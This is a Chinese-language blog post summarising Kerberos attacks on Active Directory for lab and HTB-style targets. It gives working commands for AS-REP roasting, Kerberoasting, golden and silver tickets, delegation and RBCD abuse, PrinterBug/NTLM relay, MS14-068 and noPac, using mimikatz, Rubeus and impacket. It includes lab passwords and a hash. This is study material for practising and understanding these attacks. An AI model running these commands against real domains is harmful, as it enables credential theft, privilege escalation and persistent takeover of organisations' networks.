Kerberos Summary

打 Windows 靶机常遇到Kerberos,在此总结一下

Kerberos原理

Kerberos认证过程

  1. AS_REQ:Client向AS发起AS_REQ,请求凭据是Client Hash加密的时间戳
  2. AS_REP:AS使用Client Hash进行解密,如果结果正确就返回用krbtgt的NTLM Hash加密的TGT票据(TGS中包含PAC,PAC包含Client SID和组)
  3. TGS_REQ:Client凭借TGT票据向TGS发起针对特定服务的TGS_REQ请求
  4. TGS_REP:TGS使用krbtgt hash进行解密,正确则返回用服务hash加密的TGS票据
  5. AP_REQ:Client拿着TGS票据去请求服务
  6. AP_REP:服务使用自己的Hash解密TGS票据。正确则拿着PAC去KDC询问Client有无访问权限,域控解密PAC,判断Client的访问权限后返回结果。

AS_REQ & AS_REP

域内用户枚举

原理:用户不存在和密码错误时,Kerberos返回的error-code不同

1
sudo nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='active.htb',userdb='/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt' 10.10.10.100

密码喷洒攻击

攻击场景: 在已有用户名的情况下,可以尝试喷洒密码

普通的爆破就是用户名固定,爆破密码;密码喷洒是用固定的密码去跑用户名。

工具:DomainPasswordSpray https://github.com/dafthack/DomainPasswordSpray

1
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

黄金票据

在Kerberos认证中,每个用户的票据都是由krbtgt NTLM-hash进行加密的,如果我们拥有krbtgt NTLM-hash,就可以伪造任意用户的TGT票据,这个票据也称为黄金票据。一般用来做权限维持。

利用条件:

  1. Domain SID
  2. krbtgt hash

利用过程

我们可以通过DCSync拿到的krbtgt做一个黄金票据

获取Domain SID

利用上面获取到的Domain SID和krbtgt制作黄金票据

意外情况

时钟同步

1
2
3
4
$ python psexec.py htb.local/auray@forest -k -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporatio

[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

这种情况需要跟域进行时钟同步

1
sudo ntpdate 10.10.10.161

SMB连接失败

这种情况需要修改host,psexec的命令也得使用主机名

1
2
3
4
tail -n 1 /etc/hosts
10.10.10.161 htb.local forest

python psexec.py htb.local/auray@forest -k -no-pass

AS-REP Roasting

攻击场景: 如果拿到了用户名,目标服务器又暴露了kerberos端口,可以尝试AS-REP Roasting攻击

当被攻击账号设置 “不需要Kerberos预身份验证” 后,在AS_REP过程中就可以任意伪造用户名(无需Client Hash)请求凭据,AS会将伪造请求的用户名NTLM Hash加密后返回,对收到的AS_REP内容(enc-part底下的cipher,因为这部分时使用用户hash加密的session-key,我们通过离线爆破就可以获得用户hash)重新组合,能够拼接成 “Kerberos 5 AS_REP etype 23”(18200)的格式,使用hashcat对其进行爆破,最终获取该用户的明文口令

1
for user in $(cat user.txt);do python3 examples/GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v impacket;done

拿到Hash之后可以通过hashcat爆破密码

1
2
hashcat -m 18200 svc-alfredsco.kerb /usr/share/wordlists/rockyou.txt --force
john --wordlist=/usr/share/wordlists/rockyou.txt svc.txt

TGS_REQ & TGS_REP

pass the ticket

Kerberos除了第一步AS_REP是使用用户hash加密时间戳之外,其他的步骤的验证都是通过票据,这个票据可以是TGT票据或TGS票据。因为票据里面的内容主要是session_key和ticket(使用服务hash加密的,服务包括krbtgt),拿到票据之后,我们就可以用这个票据来作为下阶段的验证了

Kerberoasting

原理: 在TGS_REP中,用户将收到由目标服务实例的NTLM Hash加密的TGS票据,加密算法为RC4-HMAC

利用场景: 当我们拥有一个用户凭据时,我们可以请求TGS票据,再进行爆破

对于域内的任何主机,都可以通过查询SPN,向域内的所有服务请求TGS(因为KDC不会验证权限:用户向KDC发起TGS_REQ请求,不管用户对服务有没有访问权限,只要TGT正确,那么肯定会返回TGS)然后进行暴力破解,获取服务的NTLM Hash。但只有域用户的SPN是可以利用的(因为机器账户的SPN每30天会更改随机128各字符密码导致无法破解),所以在实际过程中要注意攻击的是域用户。

利用impacket中的GetUserSPNs.py进行攻击

1
python GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

使用john进行爆破

1
john test.hash --wordlist=/usr/share/wordlists/rockyou.txt

白银票据

在TGS_REP中的ticket的encpart是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。

相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票据只能访问特定服务

注意: 伪造的白银票据没有携带有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则白银票据将不起作用。

委派攻击

委派是将域用户的权限委派给服务账户,委派之后,服务账户就获得了域用户的身份去行动

注意:能够被委派的用户只能是服务账户或机器账户

三种委派

  • 非约束委派是指用户账户将自身的TGT转发给服务账户使用
  • 约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问特定服务资源
  • 基于资源的约束委派是将委派的管理移交给服务资源进行控制,其余和约束委派基本相同

非约束性委派

当service1的服务账户开启了非约束委派后,user访问service1时,service1会将user的TGT保存在ISASS内存中,然后service1就可以利用TGT以user的身份访问域中的任何user可以访问的服务

非约束委派的设置需要SeEnableDelegation权限,一般是管理员具有此权限

非约束委派流程

  1. 域内用户A通过Kerberos认证后访问Web服务器
  2. Web服务器以服务账户B向KDC请求用户A的可转发票据TGT
  3. KDC检查B的委派属性,下发TGT
  4. 服务账户B使用TGT向KDC申请服务票据TGS
  5. KDC检查委派属性和申请的服务,下发TGS
  6. 服务账户使用TGS访问其他服务

侦查思路:找到非约束委派账户

1
2
3
4
5
6
7
# ADFind查询非约束委派普通账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查询非约束机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# PowerView查询非约束委派的机器账户
powershell-import PowerView.ps1
powershell Get-NetComputer –unconstrained | select dnshostname, samaccountname

利用打印机漏洞

强迫运行打印服务(Print Spooler)的主机向目标主机发起Kerberos或NTLM认真请求

前提条件:

  1. Administrator权限
  2. 域用户的账号密码
  3. 域控开启打印机

工具:https://github.com/leechristensen/SpoolSample/

利用过程:

  1. 查询打印服务是否开启(域控上查询)
    sc query spooler
  2. 使用Rubeus监听来自域控的票据
    Rubeus.exe monitor /interval:2 /filteruser:DC2016$
  3. 使用SpoolSample执行打印机漏洞利用,进行强制验证
    SpoolSample.exe DC2016 WIN10-1
  4. Rubeus监听到票据并导入该票据
    Rubeus.exe /ptt /ticket:dt...
  5. 使用mimikatz导出Hash
    mimikatz.exe "lsadump::dcsync /domain:aut.htb /user:aut\Administrator" "exit"

约束性委派

在约束委派的Kerberos中,同样会将TGT发送给相关受委派的服务,但由于S4U2proxy的影响,该票据只能访问指定的服务

S4U2self

允许受约束委派的服务 (主动)代表任意用户向KDC请求服务自身,从而获取一张该用户(任意用户)的当前受约束委派服务的票据TGS(ST),该服务票据包含用户的相关信息,比如该用户的组信息等

S4U2proxy

允许受约束委派的服务通过服务票据ST,代表用户去请求指定的服务

配置了约束委派的账户属性会有两个变化:

  1. 账户的userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION,值为16781312
  2. 账户的msDS-AllowedToDelegateTo属性,添加允许委派的服务

侦查思路:找到约束委派账户

1
2
3
4
5
6
7
8
9
10
11
12
# AdFind.exe查询约束委派机器账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 导入
powershell-import PowerView.ps1
# PowerView查询约束委派机器账户
powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
# PowerView查询约束委派服务账户
powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

约束委派共计的关键就是获得可转发的服务票据ST

只要控制配置约束委派服务的机器,并获得它的密码。就可以劫持这台主机的kerberos请求,最终获得任意用户权限的ticket

使用机器账户的票据

利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派

利用过程:

使用mimikatz工具导出Isass.exe进程中所有的票据,得到想要的服务票据

1
2
# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

使用kekeo工具申请服务票据(S4U2Proxy)

1
2
# 申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"

1
2
3
4
# 导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"
# 访问
dir \\DC2016.redteam.lab\c$

使用机器账户的Hash值

利用条件:

  1. 需要Administrator权限
  2. 目标机器账户配置了约束性委派

利用过程:

使用mimikatz获取NTLM Hash值

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

使用getST申请服务票据

1
python3 getST.py -dc-ip 10.10.2.20 -spn CIFS/DC2016.redteam.lab -impersonate administrator redteam.lab/WIN10-1$ -hashes :8f91f8786d308e62c609688886dc7c4c

使用票据远程访问

1
KRB5CCNAME=administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

基于资源的约束性委派

Resource Based Constrained Delegation(RBCD)不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身

配置了RBCD的账户属性有如下变化:

  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户

可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。

以A、B两个服务为例,约束性委派需要在A上设置msDS-AllowedToDelegateTo属性,以指定对B上的哪个服务进行委派。而RBCD需要在B上将msDS-AllowedToActOnBehalfOfOtherIdentity属性值设为A的SID,允许A对B上的服务进行委派

此外,在传统的约束性委派中,通过S4U2Self申请到的ST票据一定是可转发的,否则S4U2Proxy阶段将失败。但在RBCD中,不可转发的ST仍然可以通过S4U2Proxy阶段对其他服务进行委派认证。

利用前提

  1. 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权利
  2. 可以创建机器账户(或已经知道机器账户)

具备修改msDS-AllowedToActOnBehalfOfOtherIdentity属性权限的用户:

  1. 将该主机加入域的用户账户
    该账户中有一个msDS-CreatorSID属性,用于标记加入域时使用的用户账户SID
  2. Account Operator组成员
  3. 该主机的机器账户

具备创建及其账户权限的用户:

  1. 一般域成员,由msDS-MachineAccountQuota属性决定,默认可以创建10个机器账户

侦查思路:找到可修改委派权限的用户

  1. 已知机器账户
  2. 找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限
1
2
3
4
5
# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 10.10.2.20 -u ken -up 123.com -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

侦查思路:由用户查找其加入域中的机器

1
2
3
4
5
6
7
# 查用户账户SID
whoami /all

# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
powershell-import PowerView.ps1
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights

通过管理主机加入域的用户拿下主机

关键: 能修改那台服务资源的委派属性,就能拿下该台主机

利用条件:

  1. 允许创建机器账户
  2. 具有管理主机加入域的用户账户

利用过程:

添加机器账户

1
2
3
4
5
# 使用addcpmputer创建机器账户
python3 addcomputer.py redteam.lab/ken:123.com -method LDAPS -computer-name CPT01\$ -computer-pass Passw0rd -dc-ip 10.10.2.20

# 使用bloodyAD工具创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd'

查询机器账户的SID

1
2
# 使用 PowerView 工具查询机器账户SID
S-1-5-21-3309395417-4108617856-2168433834-1108

修改服务资源的委派属性,即 msDS-AllowedToActOnBehalfOfOtherIdentity

1
2
3
4
5
6
7
8
9
# 导入powershell Set-ExecutionPolicy Bypass -Scope Process. .\powerview.ps1
powershell-import PowerView.ps1
powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# 查询属性
powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity
# 域控查询命令
Get-ADComputer SERVER2012 -Properties PrincipalsAllowedToDelegateToAccount
# 清除属性
Set-DomainObject SERVER2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

申请服务票据并利用

1
2
3
4
5
6
7
# 使用getST.py申请票据
python3 getST.py redteam.lab/CPT01$:Passw0rd -spn cifs/SERVER2012.redteam.lab -impersonate administrator -dc-ip 10.10.2.20
# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache
# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass

已知Account Operators组用户拿下主机

可以获得域内除了域控之外的所有机器

利用条件:

  1. 获得属于Account Operators组的用户账户
  2. 可以创建机器账户

Acount Operators组成员能修改域内任意主机msDS-AllowedToActOnBehalfOfOtherIdentity属性

利用过程:

查询Account Operators组成员

1
adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member

创建机器账户

1
2
# 使用bloodyAD.py创建机器账户
python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd'

设置委派属性

1
2
3
4
5
6
7
8
9
# 使用PowerView工具查询机器账户SID
powerpick Get-NetComputer CPT02 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1112

# 修改服务资源msDS-AllowedToActOnBehalfOfOtherIdentity属性
powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 查询属性
powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity

申请服务票据并利用

1
2
3
4
5
6
7
8
9
# 创建服务票据
python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20

# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache

# 直接登录
python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass

结合HTML Relay攻击拿下主机(CVE-2019-1040)

绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击

利用条件:

  1. 目标开启打印机服务
  2. 能创建机器账户

利用过程:

创建机器账户

1
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT03 'Passw0rd'

监听认证请求

1
python3 ntlmrelayx.py -t ldap://10.10.2.20 -smb2support --remove-mic --delegate-access --escalate-user CPT03\$

打印机漏洞执行强制认证

1
python3 printerbug.py redteam.lab/ken:123.com@10.10.2.50 10.10.2.77

申请服务票据

1
python3 getST.py redteam.lab/CPT03\$:Passw0rd -spn CIFS/SERVER2012.redteam.lab -impersonate Administrator -dc-ip 10.10.2.20

使用服务票据

1
2
3
4
5
# 注入票据
export KRB5CCNAME=Administrator.ccache

# 远程访问
python3 smbexec.py -target-ip 10.10.2.50 -k SERVER2012.redteam.lab -no-pass

krbtgt用户委派

在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现维持权限的目的

利用条件:

  1. 获取域控权限

利用过程:

设置委派属性

1
2
3
4
5
6
# 创建机器账户
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT04 'Passw0rd'

# 设置krbtgt委派权限 | 查询
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount CPT04$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

申请&使用票据

1
2
3
4
5
python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20
export KRB5CCNAME=Administrator.ccache

python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20
KRB5CCNAME=Administrator.ccache | python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

PAC攻击

MS14-068

MS14-068漏洞的原因是KDC无法正确检查PAC中的有效签名,由于其实现签名的加密允许所有的签名算法,只要客户端指定任意签名算法,KDC服务就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改,导致用户可以自己构造一张PAC,伪造用户的SID和所在的组。

那么通过伪造的PAC,加入域管相关信息,访问域控服务,KDC会认为当前用户有权限,从而把这个用户当作域管组的成员,进而达到提升至域管理员的效果

在WIN2008上利用kekeo执行如下命令,便可以成功访问域控CIFS服务

1
kekeo.exe "exploit::ms14068 /domain:aurey.com /user:username /password:password /ptt" "exit"

除此之外,也可以利用impacket中的goldenPac,直接返回一个交互式Shell

CVE-2021-42278 & CVE-2021-42287(NoPac)

CVE-2021-42278:机器账户的名字一般以$结尾,但AD没有对域内机器账户名做验证。导致机器用户名可以被冒用

CVE-2021-42287:假设域控名为DC(对应的机器账户为DC$),攻击者利用CVE-2021-42278创建一个机器账户TEST$,再把机器账户TEST$的sAMAccountName改成DC。此时用户DC申请一个TGT票据。再把DC的sAMAccountName改回TEST$。这时候KDC会判断域内没有DC这个账户,自动取搜索DC$(DC$是域控DC的sAMAccountName),攻击者利用刚刚申请的TGT进行S4U2Self,模拟域控去请求ST票据, 最终获得域控DC的权限。

工具:sam-the-admin:https://github.com/WazeHell/sam-the-admin

1
python3 sam_the_admin.py "king/windows03w:edcRFV222" -dc-ip 192.168.204.146 -shell

Kerberos Summary
http://aurey7.github.io.git/2023/07/26/Kerberos-Summary/
作者
Aurey7
发布于
2023年7月26日
许可协议